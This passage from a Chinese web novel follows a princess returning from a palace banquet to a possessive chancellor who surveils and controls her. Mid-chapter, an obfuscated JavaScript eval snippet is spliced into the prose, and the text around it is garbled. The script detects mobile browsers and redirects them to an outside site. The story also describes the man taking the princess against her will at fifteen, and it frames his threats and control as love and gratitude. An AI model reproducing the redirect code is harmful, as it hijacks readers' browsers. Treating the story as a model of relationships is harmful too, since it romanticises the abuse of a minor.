说到这,他无声笑了下,“你是父皇的女儿,金尊玉贵的存在,那些人有什么资格值得一国公主去讨好。将来十妹妹娶了夫侍就知道了,像我们这种身份的人,只有别人讨好我们的份,你要是喜欢哪一个小侍多一点常去看望,于他们来说,那叫天大的恩赐。” “恩赐?”江令薇神情懵懂地眨了眨眼,不舍得从肉丸上移开视线。 五皇子让侍从加了个垫子,拉着人一起坐下。 “自然。讨好和恩赐那是他们的事,喜欢和觉得人有没有趣那是我们应该想的事。何必要去在意那些世家公子如何,他们都是一群墙头草,何须在意。真有志气早就去考科举或是从军了,怎么会像青楼接客的妓子小馆那样,把自己涂脂抹粉打扮好,来这种宴席上吸引贵女呢。” “我……不懂,没人跟我说过这些。”江令薇小幅度地摇头。 其实那人教过她,不过并不是宣之于口的谆谆教导,而是耳濡目染自发形成的,他的人生里没有自卑与畏畏缩缩,她是他手把手教出来的,自然也没有。 “没关系,你才十七,还小,以后慢慢就懂了,没什么事的话可以多来找我,我教你。”五皇子回答,夹起一块炖得软烂的东坡肉放置她碗中。 不等她回话,他又压低了声音道:“还有刚才的事,十妹妹根本不必放在心上,二哥就是那个性子,没什么好伤心的。至于李尚书,他年纪大了,半只脚没棺材的人物,他还能笑多久,不值得为这种人生气。 不过,我本来还以为你会犯傻一直跪在那,很是为你担心。” “我那个时候跪,也是因为太子诬陷我,为了自证我才那么做。他们不理我,我当然要起来,我都懂的,难道五哥觉得我很笨吗?”江令薇万般不舍地放下咬了一口的肉丸,只觉得这人过于啰嗦。 五皇子和她有差不多的想法,觉得她话语直白得让人咋舌,一副不怎么聪明的样子。 他端来一杯茶,示意她润润喉,“你看你,刚才五哥白说了。” “啊?” “别人怎么想不是我们要考虑的东西,人首先要想的便是自己。当然,作为皇子,还要孝顺父皇,爱戴百姓。” “兄长怎么想也不需要考虑吗?” “兄弟姊妹对你而言很重要吗?”五皇子笑着问。 听到这话,她终于知道他今天来找她目的是什么了。 收买人心。 可她现在的地位……也值得收买吗? 江令薇不明白。 不过,她还是很配合,故意犹豫了一会儿后忸怩地道:“……五哥很重要。”说着,她还颇为认真地朝他点头。 五皇子达到目的,笑容真切了几分,“我觉得十妹妹不笨,只要有人肯细心教导,一定会是最聪明的存在。” 江令薇像是不自在一样立刻移开视线,慢吞吞地吃着碟中的肉,但不时又会偷偷瞧他,眼神明亮。 他自以为已经收买了人心,也没兴趣再待下去,嘱咐她慢些吃后信步离开。 终于等到打扰自己用膳的人走,江令薇继续大口吃肉。 一边吃,一边回想刚才自己面上的表情,应该……装得还行? …… 几乎扫光了案上的肉食,她嗓子噎得厉害,端起案上的酒水。 宴席上用的都是琉璃杯,殿内的烛火映在酒杯外壁,折射出来的绚烂光线有些晃了她的眼。 在黑暗里待久的人,反而会惧怕阳光,但她适应的很好,偶尔才会在明亮的光线中怔愣片刻。 就像现在,她缓缓眨了眨眼,将眸底天生的冷漠压下去。 然后,一饮而尽。 宴席已至尾声,太子早就醉的不省人事,胡言乱语地交代了几句,便和七公主一同离去。 没过一会儿,剩下的人也都三三两两地离席,五皇子招呼了她一声,询问她要不要一同乘车出宫,她摇头说自己一身酒气,恐怕熏了五哥。 五皇子不喜饮酒,在宫中不是个秘密,刚才就有大臣像讲笑话一样提起,话里话外皆是嘲讽之意。 当然,议论之人是太子一党的臣子,除了他们,没有哪一方人会借着酒意讽刺皇子。 五皇子只好叮咛她快些回府休息,明日早朝论功行赏可不能睡过头。她乖顺地应下。 人都走的差不多了,她准备起身,七公主的近侍青木忽然从隐蔽处走来,对着她道:“七殿下说看您喜爱吃肉食,特意命奴才为您备了些,今日席间的吃食都是东宫里厨子做的,已经派人送到您宫外的马车上了。殿下还说,太子并非针对公主您,望公主切莫放在心上。” 江令薇自然说好,又让青木替她多谢七姐姐。 走出宫殿,深秋的夜风很冷,她大力地拍拍脸,晕沉的脑袋总算清醒了些。 都让她不要放在心上,都心怀不轨。 太子…… 他可真是个收买人心的好借口。 还没走出几步,公主府里的侍卫寻来,为她呈上一件厚实的大氅,低声道:“主子等您很久了。” “嗯,我知道了。” 4. 第 4 章 夜色深沉,宫门前孤零零地停着一辆马车,其余大臣与皇子早回了,江令薇是最后一个出宫的人。 她不胜酒力,即使只是果酒,一杯接一杯地喝下去,此刻也有些醉了。 上马车时,步伐不稳差点栽倒,万幸侍卫及时扶住她——用刀背抵着她的后肩。 “我身上有毒吗?用刀扶人,你也不怕失手戳死。”在车中软榻里躺下后,她毫无预兆地问。 “属下可以性命担保,绝对不会伤害到殿下,而且小人身份低微,不敢冒犯殿下。”侍卫搬出府中管事教给他们的话。 江令薇揉了揉迷蒙的眼睛,这样的借口她已经听过无数次,不敢冒犯也许是真的,但最主要的原因是什么,她很清楚——他下的命令。 像管犯人一样死死管着她。 车轮滚动,缓缓驶离皇宫。 过了一会儿,她一把撩起帘子,姿态懒散地将头靠在边窗上,“开慢点,我可能要吐了。”夜风寒凉,吹起她额间的碎发,驱散了一点点酒意。 侍卫迟疑片刻,还是道:“主子他……” “他问起,你就说是我出来的晚。”江令薇半阖着眸,望着眼前快速掠过的街景,自宴会快结束时就有的烦闷感越来越重。 她不想那么快见到他。他管她管得实在太严了。 “属下不敢欺瞒主子,殿下若是头晕,小案上有李大夫做的解酒丹。” “你不说,我不说,他如何会知道,宫里都是禁军,难道他还派了人进去?” 她看都未看身旁的小案,那解酒丹效果很好,但也特别难吃。她第一次喝醉后就被他喂了这个解酒丹,苦得人想吐。 “主子挂心您,确实派了人。” “也不怕被抓住吗?”虽是问句,但她心里已经有了答案,皇宫内禁军无处不在,想要潜入其中,唯有武功身手十分出色的少隐以及他自己可以办到。 “是少隐大人。”侍卫道。 听到这个名字,她没再说话,但心里的烦闷更重了。 果然是派了少隐,此人是他的心腹,也是三月前扮做侍从陪她去漠北的人,先她一日回京。 少隐做事老成,很是可靠。不过这种印象直到她看见少隐给他写信后,就全变了。 她要看那封信,少隐也没拦着,信上是她在漠北的生活,受没受伤,一天做了什么,见了什么人,事无巨细。 当时她看完后的第一个反应是少隐记性真好,不愧是他的心腹。但随之而来的便是另一种熟悉的情绪,不快。 …… 车轱辘碾过一条又一条街巷,位于长安街最南边的公主府到了。 脑海里的思绪千回百转,在侍卫的一声“请殿下下车”中全部消散,江令薇虽然没完全清醒,但吹了一路的风,至少走路不会摔倒了。 侍卫替她掀起车帘,她望着面前庄严的府邸,想了想,又探回身将案上小瓷瓶里的解酒丹吃了下去。 苦涩的味道霎时间侵袭进她的嘴里,比黄连还苦,她强忍着才没有吐出去。 他知道她喝酒,一定会强逼她吃解酒丹,与其被人逼,不如自己吃。 朱红色大门早已敞开,江令薇走进府里,只零星几个侍卫站在门边守夜,看着有些冷清。 但她知道,他的人都隐在暗处,偌大的公主府里,明里暗里全是他的手下。宫里赐下的宫女太监早就被秘密处理掉了。 沿着青石铺就的地面,绕过雅致的正厅,穿过一侧是嶙峋假山石的回廊,她踱步往内院卧房而去。 一路走来,灯火通明,皇家子嗣得了封赏出宫开府另住之后,府邸都是按照相同的规格建造的,而且大部分是早早就建好的,眼前的公主府就是。 事实上,她出征前只在这里住过几日,比起她这个名义上的府邸主人,他可能对这里更为熟悉。不过,她记性也不差,府中的布置已经在那几日中印在了脑海里。 一个侍卫打扮的男人立在卧房飞檐下,手里端着一个红木方盒,见她来了,立时上前,“殿下您终于回来了,主子从天黑就过来,一直等到现在。” 江令薇瞄了下天色,她猜测现在大概已是亥时,夜宴酉时开始,她又因为一些说不出口的心思故意磨蹭,他足足等了两个时辰。 依他的性子,生气是必定的。 没关系,她已经做好挨骂的准备了。 从侍卫手中接过方盒,那是她专为他准备的东西,交由少隐先行带至府中。 站至殿门前时,她忽然返过身来,一双杏眸上下打量着侍卫,“把头抬起来,我看看。” 侍卫不明所以,依言照做。 江令薇仔细看了两眼,还没来得及说话,左前方便走来一个带着银质面具的男人,开口便是一句低喝,“放肆,怎可直视殿下尊容!” 侍卫反应过来,立刻退到一边,暗处霎时间窜出两个身着黑衣的人,捂住侍卫的嘴将其拖走。一系列动作十分快速,行云流水。 “是我要看他的。”江令薇认出来人,正是少隐,看样子应该是刚从宫里回来。 少隐微微低着头,回道:“主仆有别,是他行为大胆,冒犯了殿下。” “我记得出征前身边的近侍不是他,是另一个圆脸小伙子,怎么换人了?”她没有继续纠正,而是问了另一个问题。 一般在卧房前守候的是贴身近侍,她刚才觉得那个侍卫的声音与记忆中有出入,这才让他抬头。 “那人辜负殿下信任,偷了府里的东西,已经惩处调走了。” “你们手底教出的人还会偷东西?”江令薇不信,这府里的侍卫大部分是由他身边的心腹近侍调教出来的,偷东西这个理由有点过于拙劣了。 “是属下看管不力,这就去领罚。”少隐并不接话,一板一眼地回答。 “不是要去领罚?” “夜已深,主子还在等您,还请殿下移步殿内,过后属下一定会去,绝不叫人徇私。” 江令薇面无表情地点头,“喝了酒记性不怎么好。” 察觉到她隐隐不悦的心情,少隐的头垂得更低。 江令薇抱着方盒,“哗”地推开殿门。 角落里点着许多灯烛,照得室内明亮如白昼。 卧房很大,是王府里最宽敞的居所。所过之处,一步一纹样,物件皆是精雕细琢,出自技艺上乘的宫匠之手。 越往里走,灯烛越少,微弱的火光就像她现在的心情,发沉发暗,等待着属于他的审判。 江令薇把木盒放在桌案上。隔着棕色珠帘,她看见一道高大的身形坐在床前,香炉里升起的袅袅青烟模糊了他的面容,辨不清喜怒。 但从手背上鼓起的青筋来看,他现在的心情可想而知。 默默地吁出一口气后,她撩起珠帘,极为规矩地走到他身前十步远的地方停下。 “我回来了。”语气里能明显听出几分心虚。 裴渡舟掀开阖着的眼睛,侧目看向她,琥珀色的眼珠定定瞧了她半晌,从上到下,寸寸扫过,没有回应她的话。 在这样的注视下,江令薇感到滞闷,好像有人捏住了她的后颈,这种滋味不太好受,为了打破当前凝滞的氛围,她又往他身边走了几步,重复了一遍,模样十分认真。 他轻抿唇角,“原来你还知道回来?记得回家的路怎么走?” 声音没什么情绪,但她能听懂其中的阴阳怪气。 “我以为我会等到天亮呢?”他站起来,颀长的身姿一步步接近,直到把她整个人笼罩在自己的影子里,再不分彼此。 他高她太多了,她只能仰起头反驳:“有外面那些侍卫在,你不可能等到天亮。” 根本恨不得把她绑来见他。 裴渡舟大手悄无声息地捏住她后颈,语气很轻,“这么说,你不想回来,他们硬逼着你回来是吗?” 他的手指微热,宽厚的掌背上青筋蚺起。她知道,他很生气,但自己在他面前向来直来直去惯了,话语没来得及思考,便脱口而出:“他们是逼我——” “所以你不想回来。”他压着眉,狭长的瑞凤眼里愠色渐浓,“不想回家,不想见我,你想干什么?” 一直仰着头很累。江令薇想低头,但他完全不给机会,骨节分明的大手用的力道是她抵抗不了的。 “我没有这个意思……” 江令薇矢口否认。 “嘴上说没有,心里在想什么?”他伸出二指点着她的胸口,一下比一下重,似乎是真的想挖出她的心来看一看。 “是在想外边那个偷东西的侍卫,还是给你撒花瓣的一群野男人,亦或是又蠢又笨的景家小公子?”他俯身在她耳边低语,话里的狠辣比之索命的鬼魅还要可怖,“魂被他们勾走了是吗?” 说话间喷洒的热气让人有些痒,她忍住偏头的举动,“都没有,你要自信一点。萧朝一京十二州再找不出比你更俊美的男子,无人比得上。” 这话不假,凡是见过裴渡舟相貌的人,绝不会把他跟抄家的煞神联想在一起,反而是误入凡尘的神祇,人间难有。 此刻,烛火暗淡的光线照在他侧脸上,晕开一片阴影,琥珀色的眼珠更加深邃,也更加高不可攀。 雪莲花的味道从他身上源源不断地传来,微甜,不浓郁,缓缓地爬过她的肌肤,直到她也沾染上属于他的味道。 “以为这样说就可以蒙混过去吗?”他用手指轻轻摩挲着她的耳垂,语气听不出来喜怒。姿势原因也看不见他的表情,但她清楚,他是喜欢这句话的。 事实也如她预料那样,他唇角挂着一抹很淡的弧度。 “我说的都是真的。”感觉到他不再禁锢她的后颈,她立刻低下疲惫的头颅。 眼前是他的月白色外袍,她只能平视他的胸膛,衣衫里传出的香味让她忍不住深吸了一口气,感觉嘴里的苦味都冲刷了不少。 耳垂边的手指忽然顿住,他直起身,回视她光洁的面孔,“登徒子。” 本是骂人的话,但他嗓音却微微沙哑,一双瑞凤眼直勾勾地盯着她,翻涌着铺天盖地的情潮。 “是你太香了,不是我的错。”她神情无辜地举起双手,示意自己什么都没做。 瞧着她纯澈的杏眼,裴渡舟稍稍用力弹了弹她的脑门,“诡辩倒是学的好。” 她正要承认,他俯身捏住她的双颊,在唇边轻轻嗅了嗅,“一股酒味,三月不见,一回来就喝酒,你真是越来越好了。” 听着他又变得冰冷的语气,她摇了摇头,声音含糊地辩解道:“那种场合喝酒也是正常,我吃了解酒丹的。” “喝酒是正常,但你不正常。”他放开她,在床榻正中坐下,长腿弯曲,双手交叉,是一个审犯人的姿势,“据我所知,应该没人会找你喝酒,除非……” 他薄唇微勾,眼里却毫无温度。 “有世家公子找你喝酒,你一杯他一杯,喝完再续,再接着喝。喝到酩酊大醉,府里下人去找你才肯回来。到了府门前,才吃解酒丹,还不算完,还要再与外边下人说上片刻话,要人提醒才记得进来,喝了酒记性不好是吗?” 字字句句皆是质问。 除了前半段不对,后面的话都对的上。想来是少隐还没来得及向他复命宫中发生的事。 江令薇沉默片刻,实诚地道:“是这样没错,但我是自己喝的,那些人并不乐意跟我喝酒。” “很失望?” 声音略低,压抑着怒气。 “我没有失望,你在误解我的话。” “误解?”他眉梢微挑,“平常不见你多爱喝酒,怎么,一要回来见我,就喜欢喝酒了?东宫里的酒就那般好喝,我怎么记得去年相同的酒摆在你面前时,你一口都没喝。” “是我记错了,还是你要借着酒意才愿意回来?这府里有让你恶心的人对吗?” 说到最后一句话时,他淡然的情绪不再,眼中的冷光叫人胆寒。活像是撕开了神祇外表的恶鬼,到人间吞噬血肉。 江令薇张了张嘴,却无话可说。 在他神情愈加阴郁要发作时,她慢慢来到他身旁,将手伸了出去,手心朝着他,“……我近乡情怯,并非你说的那样。” 其实哪是近乡情怯,只不过是她不喜欢走到哪都被人看管,一时烦躁喝酒罢了。 不过,她倒也不会把心里话说出来,到时又是一番逼问。 裴渡舟推开她的手,语气森然,“哪里养成的破习惯,我很爱训诫你?” 三月不见,故意晚归,一点好听的话都不肯说也就算了,还做出这幅样子,他之前的思念与后怕简直像个笑话! 她仰着脑袋偷瞧了他一眼,却正撞进他似寒冰般的眸子,心里想的话不过脑子地说了出来,“你一直很爱训——” “大点声,我没听清。” “训……有错的人,”她生生停下呼之欲出的话,“我让你等这么久,我知道错了。” 他意味不明地冷笑几声,却到底不舍得再跟她生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974400|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她再一次伸出手的时候,他站起身来,慢慢将人逼至床角。 她顺势坐下,他双手撑在她身侧,高大的身形极具压迫感,“再敢有下次,我扒了你的皮,生吃了你。” 淡然的语气,仿佛只是一句玩笑话,但她十分清楚,他说到做到。她连连点头,表示自己知道了。 “去沐浴,一身酒气!” “我这就去。”她忙不迭起身,不想再被他逼问。 等人的身影从视野里消失,裴渡舟来到外间的屋子,视线掠过桌上的方盒,拧着的眉总算舒展了些许。 他打开殿门,少隐一直在门外等候。 夜色寒凉,天边不知何时挂起了一轮圆月,皎洁的月光撒在裴渡舟周身,为他镀上了一层朦胧的光晕,更显俊美。 然而,面如冠玉之人说的话却叫人感到心惊胆战,他说:“刚才直视她的侍卫按规矩送走,把今天跟她说过话的男人,名字全部记下来。” 少隐恭敬称是。 至于记下来干什么,少隐自己也不清楚,他猜测大抵是让记陆与罗玄两位侍从暗中去使绊子。 之前他就见两人有段时间特别忙,问了也支支吾吾的,那时朝中许多世家公子嫁得特别快,少隐就大致推断,应该是主子命人做的。 至于原因,少隐觉得只有一个——源于爱。 “殿下身边没有近侍,不知主子如何安排?”少隐想起来时吴管事拜托他问的话。 府中的侍从都是由吴管事从主子府里调度过来的,进府的第一件事就是耳提命面地告诉那些人,对殿下不可近身,不可直视,不可有不该有的心思。 之前还好好的,自从殿下主动要那个圆脸小伙子做近侍后,吴管事便被主子好一番训斥。今晚又有侍卫直视了殿下,吴管事现在都胆战心惊的,连到主子面前回话都不敢了。 “你以后就留在她身边。”他望向天边的圆月,淡淡道:“记得,不要摘下你的面具。还有,如若再护不好她,发生那种危急的事情,休怪本相不讲情面。” 听到这话,少隐浑身一哆嗦,立马跪下,“属下明白。” 他容貌上乘,自从殿下来了后,主子便让他戴上面具示人,对外则说是破了相。 至于危急之事,是他在漠北差点让殿下命丧九泉,彼时主子动了大怒,收到信的当天便策马往漠北而去,谁都拦不住。 要不是殿下并无大恙,已到淮州境内的主子根本不会回来,而他这条命恐怕也已经没了。 “把今晚在宫里发生的事告诉我。” 少隐强忍着惊惧,开始一一道出。 …… 汤池里冒着蒸腾的热气,一双白皙的脚沿着玉石阶梯进入池中,水面泛起一圈涟漪。 侧边的木案上摆着一个眼熟的小瓷瓶,里面装着解酒丹,旁边还有一碟蜜饯。 江令薇没有丝毫惊讶,她知道从自己回府开始,一举一动全在他耳目之下,就算那时候不吃解酒丹,待会他来了,也容不得她不吃。 而这会沐浴的功夫,也足够少隐向他回禀宫中发生了何事。 他一直都是这样,对她的事要了解的近乎透明。 一开始她并不觉得这样不对,但随着他教她的时日越久,那些为君之道听得越多,她越是厌恶他的掌控欲。 教人成君主,可君主怎能容忍被掌控。 江令薇面无表情地吃了一个蜜饯,很甜,嘴里任何苦味都没了。 她强迫自己压下那些潜藏的不满,他是她的恩人,莫说是管得严一些,便是剜进血肉去回报,也是理所应当的,她默念这些话。 她和他的初识,具体的缘故不怎么记得了,只知道,在十五成年那天,她照常跑去上书房,想要偷听夫子教课。 宫里子嗣众多,像她这种生母早逝帝王不在意的女儿,是没有资格去上书房听课的。 她被皇后关了十四年,后来太子生病,皇后没再关她,或者应该说,没精力再折磨她,她得了些许的自由。 但日子与关着的时候也没多大差别,那些太监宫女照样克扣她的饭食与俸银,她有时候会偷偷溜出去,想要找一点东西填肚子。 有一次途径上书房,里面传来朗朗的读书声,她听不懂,但心底隐隐有一道声音告诉她:要留下来,去学。 基于这样的原因,她每天都会去上书房,那些侍卫与夫子也每天都会赶走她。 十五那年,她照例被赶走,晚上却被人绑了送到他面前。 他要她过去,她没有动,只是哭,从前那些太监宫女欺负她的时候,只要一哭,一跪,他们在大笑过后,就会放过她。 她那次也是这么做的,可直到他停留在她身体的那一刻,她才恍然发现,他不是那些人,不会放过她。 那是她初识男女之事,很疼。途中,他告诉她,他会帮她得到该有的一切。 她不懂自己该有什么,他说要帮她成为十二州的君主。 彼时她根本不懂,只知道他不讲情面的动作跟他近乎呢喃的承诺很冲突。 后来,他暗中教训了那些欺辱过她的奴仆,伪造了她还在宫中住的迹象,把她带到他的府里,每天都教导她。 那时她尚不会说话,是他悉心教导,她人生中说出的第一句话是他的名字。 读书识字,经纶文识,武艺兵法,赏花下棋……他什么都教。但可能是教得太多太杂,受教导的时间也才两年,她文墨属实一般。 白天教,晚上教,学不会的训诫也分别不同。 他教的一些东西,她在书上看到过,那是双亲父母才会操心的事情。书上还说,人该感恩父母,剔骨削肉都不能偿其恩情。 而他也曾对她说:你的一切都是我教的,作为回报,要把自己奉献给我。 她想,理应如此。 这次出征漠北是他暗中替她斡旋,让她从无人在意的角落里走到众人面前,让众人知道原来宫里还有个十公主。 他于她,恩重如山。 被掌控的厌烦在往事里尽数消逝,江令薇靠在池边,舀起水滑过自己的左肩,那里有一道狰狞的深色疤痕,是她在漠北受的伤,如今已经痊愈了,疤痕却永远地留了下来。 门边响起沉稳的脚步声,缓缓朝她这边而来,清香的雪莲花气味涌入她的鼻尖,在氤氲的热气中,更甜了。 江令薇停止了沐浴的动作,乖顺地等着人下来。 她的任何事,只要他有时间,都会亲自接管。 5. 第 5 章 蒸腾的热气云雾似的盘旋在汤池上,模糊了江令薇的眉眼,也让身后衣衫褪去的声音更为清晰。 外袍,腰封,中衣,内衬…… 带着清幽香气的衣着配饰层层散落在紫檀木衣架上,笼罩住了属于她的衣衫,只能在一片月白中隐约瞧见一抹靛蓝裙角。 水雾温暖,令人昏昏欲睡,江令薇眼皮沉沉,慢慢地阖上了眸。 一只修长的五指沾了热水,从她背后绕到胸前,带着薄茧的指尖在她锁骨前慢慢地抚摸,激起一阵粗粝的酥麻感,她登时从睡意中清醒过来。 “还疼吗?” 她尚未反应过来他在指什么,肩膀处就落下了一个吻,轻柔地沿着疤痕的方向慢慢向上,停在她脖颈间。那道疤痕在前进一点,就足以割破动脉,命丧九泉。 “我不疼,伤都好了。”她毫不在意地回答。当初刚上战场,还有些不习惯,不小心被足有她半人高的刀砍中,要不是少隐反应及时来救她,恐怕会立时死掉。 即便如此,她现在想起来也没有后怕,反而是不满自己那时的招式,如果再精准一点,定能叫砍伤她的匈奴尸首分离,而不仅仅是刺中心脏。 像是知道她在想什么,他揽着她的手用了些力,“可我觉得疼。”声音很低,藏着些她不懂的情绪。 “受伤的是我,你疼什么?”她歪头问道。 “不准跟我抬杠。”他环着她的腰身,声音恢复了往日里的淡漠。 “哦。” 浴房内安静下来,他靠在池边,双臂像铁做的一般紧紧抱着她,不时用侧脸轻蹭着她的脑袋,举动眷恋又饱含强势。 江令薇慢慢地眨了眨眼,眼皮沉重,又过了一会儿,发现他还未有任何动作后,偏过头提醒道:“我要泡皱了。” “喊我一下。”他用指节刮了刮她的鼻尖。他想听她喊他。 “渡舟哥哥。”她从善如流地开口。从前他一直要自己这么叫。 “嗯。”他俯身接近她的脸,薄唇与她唇瓣的距离很近,“但是刚才见我怎么不喊?” “……近乡情怯,太久没见,有些……”她顿了顿,想说些别的词,但短时间内想不出来,“就是近乡情怯,对。” 主要是当时他一直像审犯人一样盘问她,也没有机会喊,因为烦闷也不想喊。 他的指腹擦过她的唇瓣,“是这么用的吗?” “才三个月,就变得生疏了,以后还真是不能放你出去,不安全。”他双眸直直地凝视她,语意不明道:“也不安分。” 江令薇无话可说,因为他说的没错。她之前受了重伤,今天又为了磨蹭,故意喝酒,确实如他所说。 所幸他也没继续暗讽她,执起一旁的皂角,打湿过后往她身上擦拭,修长的手指宛若能工巧匠细心雕琢出来的玉石,在她全身寸寸扫过。 她任由他伺候,面上没有任何被人抚摸身体的羞怯,与他在一起的这两年她已经习惯了。因为一直是这样,所以不觉得不对。 他的手法很舒适,与他平常表现出来的强势不同,微低着头,专心地为她清洗身体,彼此的墨□□浮在水面,像各自的主人一样肆无忌惮地纠缠在一起。 “这段时间感受如何?”他一边洗,一边温声问她。 江令薇半睁着眼,随便说了两句。 但听的人可不满意她的态度,重重摁了摁她的敏感处,“出门一趟,可千万不要硬了翅膀野了心。” “我没翅膀。”她一激灵,条件反射地否认。但到底昼夜赶路,身体疲乏,没过一会儿,头就越来越低。 在她的脸要沉入水里时,一只横亘着青筋的大手圈过她的脖颈,将人捞回怀中,“我说你有,你就得有。别跟我顾左右而言他,我不喜欢。” “……哦……渡舟哥哥,你快点洗,我累了。”她自动略过了他的话,开始催促。 “现在知道累了,之前喝酒的时候怎么不觉得累?” 话虽如此,但他还是加快了速度,只是面色很冷,显然对她故意磨蹭不回来的事很介意。 “嗯,对……知道了……” 听着她胡言乱语的敷衍,他脸色登时黑了,但拿她毫无办法,只能不时瞪一眼她。 一刻钟后,沐浴完毕,裴渡舟拿了干帕子为她擦掉身上水珠,又从另一侧衣架上取来丝质寑衣,将坐在木案边闭眼小憩的她拎起来,抬手穿衣。 在系腰间绑带的时候,他从木案上的小瓷瓶里倒出一颗药丸,捏住她的脸颊,“张嘴。” 她下意识听从他的吩咐,乖顺地张开嘴,还没反应过来,甜丝丝的味道便在嘴里蔓延。虽然没那么喜欢甜食,但她也不喜浪费,顺势咽了下去。 隐约间,能听到一声轻笑,犹如高山间的淙淙流水,动听又莫名缱倦。随着他系好绑带,她睁开了眼睛,“你给我吃了什么?”本来疲累的意识有些清醒。 “待会就知道了,急什么。”他淡定地回答,眉眼间却带着几分若有若无的嗔怪,如同在埋怨她的急躁。 看他这样,江令薇已经猜到了什么,她拿起木案上的瓷瓶,里面还有一颗药丸,稍微凑近都能闻到那股让人窒息的苦味,但苦味之中还伴随着另一道甜甜的气味,就是她刚才吃的“甜食”。 见到这些,她还有什么不明白,大概是大夫李疏炼制的恢复体力的药丸。此人出自崇云山,是医圣初泓大师门下的弟子,医毒双绝,对他忠心耿耿。 但是,她还有些不解,“这药丸吃了就不累了?真那么神奇,怎么不献出去,或是让李疏炼制更多让自己人用,要是这样不是能得到更多好处吗?” 裴渡舟重新走下汤池,慢条斯理地清洗着自己的身体,淡淡回答:“你觉得呢?” “我觉得……”她想了想,“要不就是所需要的药材太名贵,要不就是效果一般,没那么好。” “都有。” “……”她看向浴房外的卧室,犹豫片刻还是道:“既然效果不好,那我肯定没多久就累了,配合不好你,行房我觉得还是要两人都有兴致才能更快乐,你觉得呢?” 他似是被逗乐了,身体轻颤,低闷的笑声沿着氤氲的水汽灌入她的耳里,她眉头稍拧,“我没开玩笑。” 他未曾回答,注视着她的眼睛,里面是不容拒绝的意思,他也没开玩笑。在一起这么久,她自然看的清楚。 “那……好吧,你执意要做,我去床上等你。”说完这些话,她迈开脚步准备离开浴房。 “站那。” 她顿住步伐,在他晦暗的目光下,终是转身坐到一边的圆凳上,无声地长出一口气。 他闭着眼,掬一捧水浇在宽厚的肩膀,透亮的水珠沿着身体弧度往下滴,池面冒着热气,看不清他余下的光景。 如绸的墨发一缕缕地浸在水里,随着清洗的动作,不时往凝脂般的肌肤上靠。 额前的碎发也是一样,与长如鸦羽的睫毛频频触碰,瓷白的侧脸毫无瑕疵,如同一块泛着莹莹光泽的美玉。 不知他名字的人,见了他这幅样子,都会以为这是从天上来的神仙,岩岩若松,朗如日月。 江令薇倒是没有偷看他沐浴,他没穿衣服的样子她已经看多了,没什么好看的。 她百无聊赖地捏着碟子里的蜜饯慢慢吃着。他每回都要自己等他洗完,她抗议过,却并没有效果,方才是刚回来忘了还有这个规矩。 水声逐渐变小,她琢磨着他应是洗完了,开口把憋了一会儿的话尽数道出:“其实,我也是为你着想,两个人配合才更能让身体舒畅。要不,明天吧?” “拉我上来。”他避而不答,朝她伸出手。 “我不想在水里做。”她朝着他的侧脸如实回答。丞相府的卧房也有一面汤池,以前他每次要她拉,最后反倒被他拉入水中,挣扎半天都逃不出他的手掌心,呛了很多水。 她不喜欢。 裴渡舟喉间溢出一声轻笑,漫不经心地道:“只是要你拉我上来,在想什么?” 江令薇无奈,站起身牵住他湿润的大手,运用内力,轻松地把人拉了上来。 “你的衣服。”她速度极快地把衣架上的另一件寑衣递给他,生怕他会拉她下水。 把她的小心思尽收眼底,他无声勾唇,淡定吩咐,“出去等我。” “好。”她知道他穿衣的时候不喜有人在身旁。 …… 江令薇从浴房内出来后,转身去了外间取放置在桌上的红木方盒,然后便回来在床边老老实实地等着他。 角落里的青鹤瓷博山香炉吐着薄雾,甘甜馥郁的雪莲香,也是他身上的味道,清冷,高洁,给人一种如朗月般可望而不可即的感觉。 事实上,晚上的他,跟朗月没半分钱关系。 年过二十七,每夜都要拉着她行房,次数特别频繁。对此,她也曾问过他,前二十五年是怎样过的,为什么她并未看到有任何妾室通房。 那时他只是淡淡一笑,然后敲了敲她的脑袋。“因为没有,自然看不到。” 她这才知道他前半生从未做过那件事,为此她感到不解,前后差别太大了,世上会有这样的人吗? 他当时在批阅公文,回答说:“天下之大,没见过不代表没有。还是说,你以多数人的行为来代表一切?” “不对吗?可……从古至今都是如此,人就是有欲望,怎么会忍得了这么久呢?”她不太理解。 “从来如此,便对吗?没见过,便不存在吗?江令薇,我警告你,你不是禽兽,不要只由着本能去做事,要是被我发现你敢跟别人做,美其名曰疏解欲望,我会让你生不如死。” 这是他的警告,或者可以说是威胁。但江令薇直到现在也不是很明白,他的话充满矛盾,人不就是禽兽吗,满足欲望是天经地义,为什么只能跟他做? 当然,可能是野兽面对危险的直觉,这种话她是不会说出来的。 被关久了,能口吐言语的人也会慢慢变成只靠本性行事的禽兽,更何况,她还是从婴孩时就被禁锢了自由,那些禽兽的习性更突出了。 两年细心教导,她才在他的手中渐渐有了个人样,可深藏在心底的兽性却并未完全抹去。 江令薇百无聊赖地盯着地面的天蓝色云纹毯发呆,没过多久裴渡舟便从浴房出来。 纯白的丝绸寑衣包裹着他劲瘦的身形,绑带系得很严实,和刚才脱光了给她沐浴的样子大相近庭。 之前散落的墨发用发冠束了起来,随着他迈步走来,微扬在脑后,看起来倒有几分少年侠客的意味。 束起的马尾发型和之前在军中见过的景元很像。 “你要出去吗?”她狐疑地打量着他,是寑衣没错,可大半夜的,他梳头发干嘛?以前也不这样啊。 裴渡舟笑容淡了些,“夜深了,我出去干什么。”他俯身慢慢靠近她,琥珀色的眼珠倒映着她清丽的容颜,“没什么东西要给我吗?” “……哦,有。”她在他的提醒下记了起来,拿过一旁的方盒递过去,“打开看看。” 他勾唇在她身旁坐下,正要打开锁扣,侧脸蓦然被她轻轻摸了一下,“你是不是涂粉了?” “……”他笑容消失,侧目冷睨着她,“那你手上沾有粉吗?” 江令薇搓了搓碰过他脸的指尖,没有任何粉末状的东西。她又不信邪地闻了闻,也什么味道都没有。抬头看他,果然脸色变得阴沉,一副风雨欲来的模样。 